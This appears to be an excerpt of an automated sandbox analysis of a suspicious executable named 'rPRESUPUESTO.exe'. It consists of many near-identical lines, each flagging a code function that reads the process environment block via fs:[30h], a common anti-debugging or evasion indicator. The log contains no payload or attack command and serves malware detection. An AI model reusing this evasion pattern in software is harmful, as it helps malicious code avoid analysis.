Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180A30B mov eax, dword ptr fs:[00000030h]	5_2_0180A30B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180A30B mov eax, dword ptr fs:[00000030h]	5_2_0180A30B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017EE3F0 mov eax, dword ptr fs:[00000030h]	5_2_017EE3F0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017EE3F0 mov eax, dword ptr fs:[00000030h]	5_2_017EE3F0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017EE3F0 mov eax, dword ptr fs:[00000030h]	5_2_017EE3F0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E03E9 mov eax, dword ptr fs:[00000030h]	5_2_017E03E9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E03E9 mov eax, dword ptr fs:[00000030h]	5_2_017E03E9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E03E9 mov eax, dword ptr fs:[00000030h]	5_2_017E03E9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E03E9 mov eax, dword ptr fs:[00000030h]	5_2_017E03E9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E03E9 mov eax, dword ptr fs:[00000030h]	5_2_017E03E9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E03E9 mov eax, dword ptr fs:[00000030h]	5_2_017E03E9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E03E9 mov eax, dword ptr fs:[00000030h]	5_2_017E03E9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E03E9 mov eax, dword ptr fs:[00000030h]	5_2_017E03E9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A8324 mov eax, dword ptr fs:[00000030h]	5_2_018A8324
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A8324 mov ecx, dword ptr fs:[00000030h]	5_2_018A8324
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A8324 mov eax, dword ptr fs:[00000030h]	5_2_018A8324
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A8324 mov eax, dword ptr fs:[00000030h]	5_2_018A8324
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA3C0 mov eax, dword ptr fs:[00000030h]	5_2_017DA3C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA3C0 mov eax, dword ptr fs:[00000030h]	5_2_017DA3C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA3C0 mov eax, dword ptr fs:[00000030h]	5_2_017DA3C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA3C0 mov eax, dword ptr fs:[00000030h]	5_2_017DA3C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA3C0 mov eax, dword ptr fs:[00000030h]	5_2_017DA3C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA3C0 mov eax, dword ptr fs:[00000030h]	5_2_017DA3C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D83C0 mov eax, dword ptr fs:[00000030h]	5_2_017D83C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D83C0 mov eax, dword ptr fs:[00000030h]	5_2_017D83C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D83C0 mov eax, dword ptr fs:[00000030h]	5_2_017D83C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D83C0 mov eax, dword ptr fs:[00000030h]	5_2_017D83C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A634F mov eax, dword ptr fs:[00000030h]	5_2_018A634F
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01852349 mov eax, dword ptr fs:[00000030h]	5_2_01852349
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01878350 mov ecx, dword ptr fs:[00000030h]	5_2_01878350
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185035C mov eax, dword ptr fs:[00000030h]	5_2_0185035C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185035C mov eax, dword ptr fs:[00000030h]	5_2_0185035C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185035C mov eax, dword ptr fs:[00000030h]	5_2_0185035C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185035C mov ecx, dword ptr fs:[00000030h]	5_2_0185035C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185035C mov eax, dword ptr fs:[00000030h]	5_2_0185035C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185035C mov eax, dword ptr fs:[00000030h]	5_2_0185035C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189A352 mov eax, dword ptr fs:[00000030h]	5_2_0189A352
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017C8397 mov eax, dword ptr fs:[00000030h]	5_2_017C8397
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017C8397 mov eax, dword ptr fs:[00000030h]	5_2_017C8397
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017C8397 mov eax, dword ptr fs:[00000030h]	5_2_017C8397
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F438F mov eax, dword ptr fs:[00000030h]	5_2_017F438F
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F438F mov eax, dword ptr fs:[00000030h]	5_2_017F438F
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CE388 mov eax, dword ptr fs:[00000030h]	5_2_017CE388
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CE388 mov eax, dword ptr fs:[00000030h]	5_2_017CE388
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CE388 mov eax, dword ptr fs:[00000030h]	5_2_017CE388
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187437C mov eax, dword ptr fs:[00000030h]	5_2_0187437C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180E284 mov eax, dword ptr fs:[00000030h]	5_2_0180E284
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180E284 mov eax, dword ptr fs:[00000030h]	5_2_0180E284
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01850283 mov eax, dword ptr fs:[00000030h]	5_2_01850283
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01850283 mov eax, dword ptr fs:[00000030h]	5_2_01850283
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01850283 mov eax, dword ptr fs:[00000030h]	5_2_01850283
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017C826B mov eax, dword ptr fs:[00000030h]	5_2_017C826B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D4260 mov eax, dword ptr fs:[00000030h]	5_2_017D4260
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D4260 mov eax, dword ptr fs:[00000030h]	5_2_017D4260
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D4260 mov eax, dword ptr fs:[00000030h]	5_2_017D4260
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D6259 mov eax, dword ptr fs:[00000030h]	5_2_017D6259
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018662A0 mov eax, dword ptr fs:[00000030h]	5_2_018662A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018662A0 mov ecx, dword ptr fs:[00000030h]	5_2_018662A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018662A0 mov eax, dword ptr fs:[00000030h]	5_2_018662A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018662A0 mov eax, dword ptr fs:[00000030h]	5_2_018662A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018662A0 mov eax, dword ptr fs:[00000030h]	5_2_018662A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018662A0 mov eax, dword ptr fs:[00000030h]	5_2_018662A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CA250 mov eax, dword ptr fs:[00000030h]	5_2_017CA250
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017C823B mov eax, dword ptr fs:[00000030h]	5_2_017C823B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A62D6 mov eax, dword ptr fs:[00000030h]	5_2_018A62D6
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E02E1 mov eax, dword ptr fs:[00000030h]	5_2_017E02E1
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E02E1 mov eax, dword ptr fs:[00000030h]	5_2_017E02E1
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E02E1 mov eax, dword ptr fs:[00000030h]	5_2_017E02E1
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA2C3 mov eax, dword ptr fs:[00000030h]	5_2_017DA2C3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA2C3 mov eax, dword ptr fs:[00000030h]	5_2_017DA2C3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA2C3 mov eax, dword ptr fs:[00000030h]	5_2_017DA2C3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA2C3 mov eax, dword ptr fs:[00000030h]	5_2_017DA2C3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DA2C3 mov eax, dword ptr fs:[00000030h]	5_2_017DA2C3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01858243 mov eax, dword ptr fs:[00000030h]	5_2_01858243
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01858243 mov ecx, dword ptr fs:[00000030h]	5_2_01858243
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A625D mov eax, dword ptr fs:[00000030h]	5_2_018A625D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0188A250 mov eax, dword ptr fs:[00000030h]	5_2_0188A250
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0188A250 mov eax, dword ptr fs:[00000030h]	5_2_0188A250
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E02A0 mov eax, dword ptr fs:[00000030h]	5_2_017E02A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E02A0 mov eax, dword ptr fs:[00000030h]	5_2_017E02A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01880274 mov eax, dword ptr fs:[00000030h]	5_2_01880274
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01880274 mov eax, dword ptr fs:[00000030h]	5_2_01880274
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01880274 mov eax, dword ptr fs:[00000030h]	5_2_01880274
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01880274 mov eax, dword ptr fs:[00000030h]	5_2_01880274
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01880274 mov eax, dword ptr fs:[00000030h]	5_2_01880274
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01880274 mov eax, dword ptr fs:[00000030h]	5_2_01880274
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01880274 mov eax, dword ptr fs:[00000030h]	5_2_01880274
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01880274 mov eax, dword ptr fs:[00000030h]	5_2_01880274
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01880274 mov eax, dword ptr fs:[00000030h]	5_2_01880274
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01880274 mov eax, dword ptr fs:[00000030h]	5_2_01880274
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01880274 mov eax, dword ptr fs:[00000030h]	5_2_01880274
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01880274 mov eax, dword ptr fs:[00000030h]	5_2_01880274
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01804588 mov eax, dword ptr fs:[00000030h]	5_2_01804588
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180E59C mov eax, dword ptr fs:[00000030h]	5_2_0180E59C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018505A7 mov eax, dword ptr fs:[00000030h]	5_2_018505A7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018505A7 mov eax, dword ptr fs:[00000030h]	5_2_018505A7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018505A7 mov eax, dword ptr fs:[00000030h]	5_2_018505A7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D8550 mov eax, dword ptr fs:[00000030h]	5_2_017D8550
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D8550 mov eax, dword ptr fs:[00000030h]	5_2_017D8550
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FE53E mov eax, dword ptr fs:[00000030h]	5_2_017FE53E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FE53E mov eax, dword ptr fs:[00000030h]	5_2_017FE53E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FE53E mov eax, dword ptr fs:[00000030h]	5_2_017FE53E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FE53E mov eax, dword ptr fs:[00000030h]	5_2_017FE53E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FE53E mov eax, dword ptr fs:[00000030h]	5_2_017FE53E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0535 mov eax, dword ptr fs:[00000030h]	5_2_017E0535
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0535 mov eax, dword ptr fs:[00000030h]	5_2_017E0535
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0535 mov eax, dword ptr fs:[00000030h]	5_2_017E0535
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0535 mov eax, dword ptr fs:[00000030h]	5_2_017E0535
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0535 mov eax, dword ptr fs:[00000030h]	5_2_017E0535
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0535 mov eax, dword ptr fs:[00000030h]	5_2_017E0535
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180E5CF mov eax, dword ptr fs:[00000030h]	5_2_0180E5CF
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180E5CF mov eax, dword ptr fs:[00000030h]	5_2_0180E5CF
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180A5D0 mov eax, dword ptr fs:[00000030h]	5_2_0180A5D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180A5D0 mov eax, dword ptr fs:[00000030h]	5_2_0180A5D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180C5ED mov eax, dword ptr fs:[00000030h]	5_2_0180C5ED
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180C5ED mov eax, dword ptr fs:[00000030h]	5_2_0180C5ED
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01866500 mov eax, dword ptr fs:[00000030h]	5_2_01866500
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A4500 mov eax, dword ptr fs:[00000030h]	5_2_018A4500
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A4500 mov eax, dword ptr fs:[00000030h]	5_2_018A4500
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A4500 mov eax, dword ptr fs:[00000030h]	5_2_018A4500
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A4500 mov eax, dword ptr fs:[00000030h]	5_2_018A4500
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A4500 mov eax, dword ptr fs:[00000030h]	5_2_018A4500
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A4500 mov eax, dword ptr fs:[00000030h]	5_2_018A4500
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A4500 mov eax, dword ptr fs:[00000030h]	5_2_018A4500
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FE5E7 mov eax, dword ptr fs:[00000030h]	5_2_017FE5E7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FE5E7 mov eax, dword ptr fs:[00000030h]	5_2_017FE5E7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FE5E7 mov eax, dword ptr fs:[00000030h]	5_2_017FE5E7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FE5E7 mov eax, dword ptr fs:[00000030h]	5_2_017FE5E7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FE5E7 mov eax, dword ptr fs:[00000030h]	5_2_017FE5E7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FE5E7 mov eax, dword ptr fs:[00000030h]	5_2_017FE5E7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FE5E7 mov eax, dword ptr fs:[00000030h]	5_2_017FE5E7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FE5E7 mov eax, dword ptr fs:[00000030h]	5_2_017FE5E7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D25E0 mov eax, dword ptr fs:[00000030h]	5_2_017D25E0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D65D0 mov eax, dword ptr fs:[00000030h]	5_2_017D65D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F45B1 mov eax, dword ptr fs:[00000030h]	5_2_017F45B1
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F45B1 mov eax, dword ptr fs:[00000030h]	5_2_017F45B1
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180656A mov eax, dword ptr fs:[00000030h]	5_2_0180656A
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180656A mov eax, dword ptr fs:[00000030h]	5_2_0180656A
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180656A mov eax, dword ptr fs:[00000030h]	5_2_0180656A
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D2582 mov eax, dword ptr fs:[00000030h]	5_2_017D2582
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D2582 mov ecx, dword ptr fs:[00000030h]	5_2_017D2582
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FA470 mov eax, dword ptr fs:[00000030h]	5_2_017FA470
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FA470 mov eax, dword ptr fs:[00000030h]	5_2_017FA470
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FA470 mov eax, dword ptr fs:[00000030h]	5_2_017FA470
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0188A49A mov eax, dword ptr fs:[00000030h]	5_2_0188A49A
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017C645D mov eax, dword ptr fs:[00000030h]	5_2_017C645D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F245A mov eax, dword ptr fs:[00000030h]	5_2_017F245A
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018044B0 mov ecx, dword ptr fs:[00000030h]	5_2_018044B0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185A4B0 mov eax, dword ptr fs:[00000030h]	5_2_0185A4B0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CC427 mov eax, dword ptr fs:[00000030h]	5_2_017CC427
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CE420 mov eax, dword ptr fs:[00000030h]	5_2_017CE420
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CE420 mov eax, dword ptr fs:[00000030h]	5_2_017CE420
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CE420 mov eax, dword ptr fs:[00000030h]	5_2_017CE420
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01808402 mov eax, dword ptr fs:[00000030h]	5_2_01808402
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01808402 mov eax, dword ptr fs:[00000030h]	5_2_01808402
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01808402 mov eax, dword ptr fs:[00000030h]	5_2_01808402
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D04E5 mov ecx, dword ptr fs:[00000030h]	5_2_017D04E5
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01856420 mov eax, dword ptr fs:[00000030h]	5_2_01856420
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01856420 mov eax, dword ptr fs:[00000030h]	5_2_01856420
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01856420 mov eax, dword ptr fs:[00000030h]	5_2_01856420
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01856420 mov eax, dword ptr fs:[00000030h]	5_2_01856420
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01856420 mov eax, dword ptr fs:[00000030h]	5_2_01856420
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01856420 mov eax, dword ptr fs:[00000030h]	5_2_01856420
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01856420 mov eax, dword ptr fs:[00000030h]	5_2_01856420
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180A430 mov eax, dword ptr fs:[00000030h]	5_2_0180A430
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180E443 mov eax, dword ptr fs:[00000030h]	5_2_0180E443
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180E443 mov eax, dword ptr fs:[00000030h]	5_2_0180E443
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180E443 mov eax, dword ptr fs:[00000030h]	5_2_0180E443
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180E443 mov eax, dword ptr fs:[00000030h]	5_2_0180E443
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180E443 mov eax, dword ptr fs:[00000030h]	5_2_0180E443
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180E443 mov eax, dword ptr fs:[00000030h]	5_2_0180E443
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180E443 mov eax, dword ptr fs:[00000030h]	5_2_0180E443
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180E443 mov eax, dword ptr fs:[00000030h]	5_2_0180E443
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D64AB mov eax, dword ptr fs:[00000030h]	5_2_017D64AB
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0188A456 mov eax, dword ptr fs:[00000030h]	5_2_0188A456
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185C460 mov ecx, dword ptr fs:[00000030h]	5_2_0185C460
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187678E mov eax, dword ptr fs:[00000030h]	5_2_0187678E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D8770 mov eax, dword ptr fs:[00000030h]	5_2_017D8770
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0770 mov eax, dword ptr fs:[00000030h]	5_2_017E0770
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0770 mov eax, dword ptr fs:[00000030h]	5_2_017E0770
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0770 mov eax, dword ptr fs:[00000030h]	5_2_017E0770
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0770 mov eax, dword ptr fs:[00000030h]	5_2_017E0770
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0770 mov eax, dword ptr fs:[00000030h]	5_2_017E0770
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0770 mov eax, dword ptr fs:[00000030h]	5_2_017E0770
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0770 mov eax, dword ptr fs:[00000030h]	5_2_017E0770
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0770 mov eax, dword ptr fs:[00000030h]	5_2_017E0770
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0770 mov eax, dword ptr fs:[00000030h]	5_2_017E0770
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0770 mov eax, dword ptr fs:[00000030h]	5_2_017E0770
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0770 mov eax, dword ptr fs:[00000030h]	5_2_017E0770
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0770 mov eax, dword ptr fs:[00000030h]	5_2_017E0770
